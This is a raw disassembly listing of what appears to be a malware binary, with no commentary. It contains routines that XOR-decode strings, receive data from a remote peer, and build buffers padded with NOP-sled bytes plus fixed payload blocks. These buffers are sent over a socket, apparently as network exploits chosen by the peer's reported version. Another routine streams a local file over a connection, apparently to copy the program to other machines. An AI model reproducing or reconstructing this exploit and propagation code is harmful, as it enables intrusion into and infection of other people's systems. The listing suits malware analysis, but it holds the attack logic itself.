sub_4105AD	proc near		; CODE XREF: sub_406E8E+C6p
					; sub_406E8E+14Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jle	short loc_4105BE
		jmp	short locret_4105F9
; ---------------------------------------------------------------------------


loc_4105BE:				; CODE XREF: sub_4105AD+Dj
		and	[ebp+var_4], 0
		jmp	short loc_4105CB
; ---------------------------------------------------------------------------


loc_4105C4:				; CODE XREF: sub_4105AD+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4105CB:				; CODE XREF: sub_4105AD+15j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_4105F9
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, byte_41EAC0[edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4105C4
; ---------------------------------------------------------------------------

locret_4105F9:				; CODE XREF: sub_4105AD+Fj
					; sub_4105AD+29j
		leave
		retn
sub_4105AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105FB	proc near		; CODE XREF: sub_401000+4Ap
					; sub_4043E9+1Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jg	short loc_41060C
		jmp	short locret_410647
; ---------------------------------------------------------------------------


loc_41060C:				; CODE XREF: sub_4105FB+Dj
		and	[ebp+var_4], 0
		jmp	short loc_410619
; ---------------------------------------------------------------------------


loc_410612:				; CODE XREF: sub_4105FB+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_410619:				; CODE XREF: sub_4105FB+15j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_410647
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, byte_41EAC0[edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_410612
; ---------------------------------------------------------------------------

locret_410647:				; CODE XREF: sub_4105FB+Fj
					; sub_4105FB+29j
		leave
		retn
sub_4105FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410649	proc near		; DATA XREF: .data:off_41CCD6o

var_1B78	= dword	ptr -1B78h
var_1B74	= byte ptr -1B74h
var_B74		= byte ptr -0B74h
var_B6C		= dword	ptr -0B6Ch
var_B64		= dword	ptr -0B64h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= byte ptr -36Ch
var_280		= byte ptr -280h
var_276		= byte ptr -276h
var_272		= byte ptr -272h
var_23A		= byte ptr -23Ah
var_236		= byte ptr -236h
var_232		= byte ptr -232h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1B78h
		call	sub_416BC0
		push	48h
		push	offset dword_41A7B0
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410686
		jmp	locret_410B50
; ---------------------------------------------------------------------------


loc_410686:				; CODE XREF: sub_410649+36j
		push	0
		push	1000h
		lea	eax, [ebp+var_1B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	dword_417248	; recv
		push	7
		push	offset dword_41A7A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+2Ah]
		mov	eax, [ebp+arg_0]
		add	eax, 146h
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C6h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0C2h]
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4125DF
		add	esp, 20h
		mov	[ebp+var_370], eax
		cmp	[ebp+var_370], 0
		jnz	short loc_4106F0
		jmp	locret_410B50
; ---------------------------------------------------------------------------


loc_4106F0:				; CODE XREF: sub_410649+A0j
		and	[ebp+var_374], 0
		jmp	short loc_410706
; ---------------------------------------------------------------------------


loc_4106F9:				; CODE XREF: sub_410649+E1j
		mov	eax, [ebp+var_374]
		inc	eax
		mov	[ebp+var_374], eax


loc_410706:				; CODE XREF: sub_410649+AEj
		cmp	[ebp+var_374], 168h
		jge	short loc_41072C
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_374]
		mov	[ebp+ecx+var_36C], al
		jmp	short loc_4106F9
; ---------------------------------------------------------------------------


loc_41072C:				; CODE XREF: sub_410649+C7j
		push	0Ah
		push	offset loc_41A8A0
		lea	eax, [ebp+var_280]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	2
		push	offset loc_41A8F0
		lea	eax, [ebp+var_276]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset loc_41A8E8
		lea	eax, [ebp+var_272]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	2
		push	offset loc_41A8EC
		lea	eax, [ebp+var_23A]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	(offset	loc_41A8E3+1)
		lea	eax, [ebp+var_236]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	0Bh
		push	offset loc_41A894
		lea	eax, [ebp+var_232]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, 3E6h
		sub	eax, [ebp+var_370]
		mov	[ebp+var_204], eax
		and	[ebp+var_1B78],	0
		push	18h
		push	offset dword_41A7FC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 18h
		mov	[ebp+var_1B78],	eax
		push	44h
		push	offset dword_41A818
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 44h
		mov	[ebp+var_1B78],	eax
		push	20h
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 20h
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8AC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8E0
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset dword_41A8D8
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8DC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	58h
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 58h
		mov	[ebp+var_1B78],	eax
		push	6
		push	offset loc_41A8B4
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 6
		mov	[ebp+var_1B78],	eax
		push	8
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 8
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8BC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	6
		push	offset loc_41A8C4
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 6
		mov	[ebp+var_1B78],	eax
		push	[ebp+var_204]
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, [ebp+var_204]
		mov	[ebp+var_1B78],	eax
		push	[ebp+var_370]
		lea	eax, [ebp+var_200]
		push	eax
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, [ebp+var_370]
		mov	[ebp+var_1B78],	eax
		push	168h
		lea	eax, [ebp+var_36C]
		push	eax
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 168h
		mov	[ebp+var_1B78],	eax
		push	0Ah
		push	offset off_41A8CC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 0Ah
		mov	[ebp+var_1B78],	eax
		push	32h
		push	offset dword_41A860
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 32h
		mov	[ebp+var_1B78],	eax
		mov	eax, [ebp+var_1B78]
		mov	[ebp+var_B6C], eax
		mov	eax, [ebp+var_1B78]
		sub	eax, 18h
		mov	[ebp+var_B64], eax
		push	[ebp+var_1B78]
		lea	eax, [ebp+var_B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410B36
		jmp	short locret_410B50
; ---------------------------------------------------------------------------


loc_410B36:				; CODE XREF: sub_410649+4E9j
		push	0
		push	1000h
		lea	eax, [ebp+var_1B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	dword_417248	; recv

locret_410B50:				; CODE XREF: sub_410649+38j
					; sub_410649+A2j ...
		leave
		retn
sub_410649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B52	proc near		; DATA XREF: .data:0041CD10o

var_104C	= byte ptr -104Ch
var_FC6		= byte ptr -0FC6h
var_BDE		= byte ptr -0BDEh
var_B9E		= byte ptr -0B9Eh
var_B7C		= dword	ptr -0B7Ch
var_B78		= byte ptr -0B78h
var_AF2		= byte ptr -0AF2h
var_88E		= byte ptr -88Eh
var_882		= byte ptr -882h
var_85E		= byte ptr -85Eh
var_852		= byte ptr -852h
var_82E		= byte ptr -82Eh
var_80C		= byte ptr -80Ch
var_7CC		= byte ptr -7CCh
var_7C8		= byte ptr -7C8h
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 104Ch
		call	sub_416BC0
		push	7
		push	offset dword_41A7A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+2Ah]
		mov	eax, [ebp+arg_0]
		add	eax, 146h
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C6h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0C2h]
		push	200h
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4125DF
		add	esp, 20h
		mov	[ebp+var_20C], eax
		cmp	[ebp+var_20C], 0
		jnz	short loc_410BAF
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410BAF:				; CODE XREF: sub_410B52+56j
		push	89h
		push	offset dword_41AF50
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410BEF
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410BEF:				; CODE XREF: sub_410B52+96j
		push	0A8h
		push	offset dword_41AFDC
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410C2F
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410C2F:				; CODE XREF: sub_410B52+D6j
		push	0DEh
		push	offset dword_41B088
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410C6F
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410C6F:				; CODE XREF: sub_410B52+116j
		movsx	eax, [ebp+var_7CC]
		sub	eax, 30h
		mov	[ebp+var_208], al
		movsx	eax, [ebp+var_7C8]
		sub	eax, 30h
		mov	[ebp+var_4], al
		push	3Eh
		push	offset dword_41B168
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410CC9
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410CC9:				; CODE XREF: sub_410B52+170j
		push	60h
		push	offset dword_41B1A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410D06
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410D06:				; CODE XREF: sub_410B52+1ADj
		push	0A0h
		push	offset dword_41B20C
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410D46
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410D46:				; CODE XREF: sub_410B52+1EDj
		movsx	eax, [ebp+var_208]
		cmp	eax, 5
		jnz	loc_410E71
		movsx	eax, [ebp+var_4]
		cmp	eax, 1
		jnz	loc_410E71
		push	86h
		push	offset dword_41B2B0
		lea	eax, [ebp+var_B78]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_20C]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_AF2]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	0
		mov	eax, 264h
		sub	eax, [ebp+var_20C]
		add	eax, 60h
		push	eax
		mov	eax, [ebp+var_20C]
		lea	eax, [ebp+eax+var_AF2]
		push	eax


loc_410DB7:				; DATA XREF: .data:off_419A7Co
		call	sub_410F60
		add	esp, 0Ch
		push	4
		push	offset dword_41B410
		lea	eax, [ebp+var_88E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_882]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_85E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_852]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	20h
		push	offset dword_41B338
		lea	eax, [ebp+var_82E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	36Ah
		lea	eax, [ebp+var_B78]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	400h
		call	dword_41709C	; Sleep
		push	36Ah
		lea	eax, [ebp+var_B78]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410E71:				; CODE XREF: sub_410B52+1FEj
					; sub_410B52+20Bj
		movsx	eax, [ebp+var_208]
		cmp	eax, 5
		jnz	short loc_410E85
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_410E95


loc_410E85:				; CODE XREF: sub_410B52+329j
		movsx	eax, [ebp+var_208]
		cmp	eax, 4
		jnz	locret_410F5E


loc_410E95:				; CODE XREF: sub_410B52+331j
		push	86h
		push	offset dword_41B35C
		lea	eax, [ebp+var_104C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, 3E8h
		sub	eax, [ebp+var_20C]
		push	eax
		push	90h
		lea	eax, [ebp+var_FC6]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	[ebp+var_20C]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_BDE]
		sub	eax, [ebp+var_20C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		and	[ebp+var_B7C], 0
		jmp	short loc_410F06
; ---------------------------------------------------------------------------


loc_410EF9:				; CODE XREF: sub_410B52+3DAj
		mov	eax, [ebp+var_B7C]
		inc	eax
		mov	[ebp+var_B7C], eax


loc_410F06:				; CODE XREF: sub_410B52+3A5j
		cmp	[ebp+var_B7C], 10h
		jge	short loc_410F2E
		push	4
		push	offset dword_41B408
		mov	eax, [ebp+var_B7C]
		lea	eax, [ebp+eax*4+var_BDE]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	short loc_410EF9
; ---------------------------------------------------------------------------


loc_410F2E:				; CODE XREF: sub_410B52+3BBj
		push	20h
		push	offset dword_41B3E4
		lea	eax, [ebp+var_B9E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4CEh
		lea	eax, [ebp+var_104C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch

locret_410F5E:				; CODE XREF: sub_410B52+58j
					; sub_410B52+98j ...
		leave
		retn
sub_410B52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F60	proc near		; CODE XREF: sub_410B52:loc_410DB7p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_8], 0
		jnz	short loc_410FA4
		and	[ebp+var_4], 0
		jmp	short loc_410F79
; ---------------------------------------------------------------------------


loc_410F72:				; CODE XREF: sub_410F60+3Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_410F79:				; CODE XREF: sub_410F60+10j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410F9F
		push	20h
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		jmp	short loc_410F72
; ---------------------------------------------------------------------------


loc_410F9F:				; CODE XREF: sub_410F60+1Fj
		jmp	locret_41102D
; ---------------------------------------------------------------------------


loc_410FA4:				; CODE XREF: sub_410F60+Aj
		cmp	[ebp+arg_8], 7Fh
		jnz	short loc_410FDF
		and	[ebp+var_8], 0
		jmp	short loc_410FB7
; ---------------------------------------------------------------------------


loc_410FB0:				; CODE XREF: sub_410F60+7Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_410FB7:				; CODE XREF: sub_410F60+4Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410FDD
		push	5
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		jmp	short loc_410FB0
; ---------------------------------------------------------------------------


loc_410FDD:				; CODE XREF: sub_410F60+5Dj
		jmp	short locret_41102D
; ---------------------------------------------------------------------------


loc_410FDF:				; CODE XREF: sub_410F60+48j
		and	[ebp+var_C], 0


loc_410FE3:				; CODE XREF: sub_410F60+ADj
					; sub_410F60+CBj
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jnb	short locret_41102D
		push	20h
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], al
		movsx	eax, [ebp+var_10]
		imul	eax, 5
		mov	ecx, [ebp+arg_8]
		and	ecx, dword_41BB01[eax]
		test	ecx, ecx
		jz	short loc_41100F
		jmp	short loc_410FE3
; ---------------------------------------------------------------------------


loc_41100F:				; CODE XREF: sub_410F60+ABj
		movsx	eax, [ebp+var_10]
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_C]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_410FE3
; ---------------------------------------------------------------------------

locret_41102D:				; CODE XREF: sub_410F60:loc_410F9Fj
					; sub_410F60:loc_410FDDj ...
		leave
		retn
sub_410F60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41102F	proc near		; CODE XREF: sub_41113B+79Bp

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	0EA60h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411065
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_41106C


loc_411065:				; CODE XREF: sub_41102F+2Bj
		xor	eax, eax
		jmp	locret_411139
; ---------------------------------------------------------------------------


loc_41106C:				; CODE XREF: sub_41102F+34j
		push	offset aRb	; "rb"
		push	offset dword_41EAFC
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_208], eax
		cmp	[ebp+var_208], 0
		jnz	short loc_41109F
		push	[ebp+var_204]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	locret_411139
; ---------------------------------------------------------------------------


loc_41109F:				; CODE XREF: sub_41102F+5Bj
					; sub_41102F:loc_41111Cj
		mov	eax, [ebp+var_208]
		mov	eax, [eax+0Ch]
		and	eax, 10h
		test	eax, eax
		jnz	short loc_41111E
		push	[ebp+var_208]
		push	200h
		push	1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_20C], eax
		push	[ebp+var_20C]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+var_204]
		call	sub_4053BF
		add	esp, 0Ch
		mov	[ebp+var_210], eax
		mov	eax, [ebp+var_20C]
		cmp	eax, [ebp+var_210]
		jz	short loc_41111C
		push	[ebp+var_204]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_208]
		call	sub_416B82	; fclose
		pop	ecx
		xor	eax, eax
		jmp	short locret_411139
; ---------------------------------------------------------------------------


loc_41111C:				; CODE XREF: sub_41102F+CFj
		jmp	short loc_41109F
; ---------------------------------------------------------------------------


loc_41111E:				; CODE XREF: sub_41102F+7Ej
		push	[ebp+var_204]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_208]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax

locret_411139:				; CODE XREF: sub_41102F+38j
					; sub_41102F+6Bj ...
		leave
		retn
sub_41102F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41113B	proc near		; DATA XREF: sub_411BBC+156o

var_558		= dword	ptr -558h
var_554		= dword	ptr -554h
var_550		= dword	ptr -550h
var_54C		= dword	ptr -54Ch
var_548		= dword	ptr -548h
var_544		= dword	ptr -544h
var_540		= byte ptr -540h
var_53C		= byte ptr -53Ch
var_538		= byte ptr -538h
var_534		= dword	ptr -534h
var_530		= byte ptr -530h
var_52C		= dword	ptr -52Ch
var_528		= dword	ptr -528h
var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_318		= byte ptr -318h
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 558h
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10C], eax
		push	offset dword_41C6B0
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		mov	al, byte_41DE00
		mov	[ebp+var_104], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_103]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DE00
		mov	[ebp+var_114], al
		xor	eax, eax
		lea	edi, [ebp+var_113]
		stosd
		stosb
		and	[ebp+var_4], 0
		and	[ebp+var_118], 0
		and	[ebp+var_108], 0


loc_4111CC:				; CODE XREF: sub_41113B+10Cj
					; sub_41113B+1BDj ...
		push	0EA60h
		push	[ebp+var_10C]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4119BA
		push	200h
		lea	eax, [ebp+var_318]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_520], eax
		cmp	[ebp+var_520], 0
		jz	short loc_411218
		cmp	[ebp+var_520], 0FFFFFFFFh
		jnz	short loc_41121D


loc_411218:				; CODE XREF: sub_41113B+D2j
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_41121D:				; CODE XREF: sub_41113B+DBj
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_528], eax
		cmp	[ebp+var_528], 0
		jnz	short loc_411249
		jmp	short loc_4111CC
; ---------------------------------------------------------------------------


loc_411249:				; CODE XREF: sub_41113B+10Aj
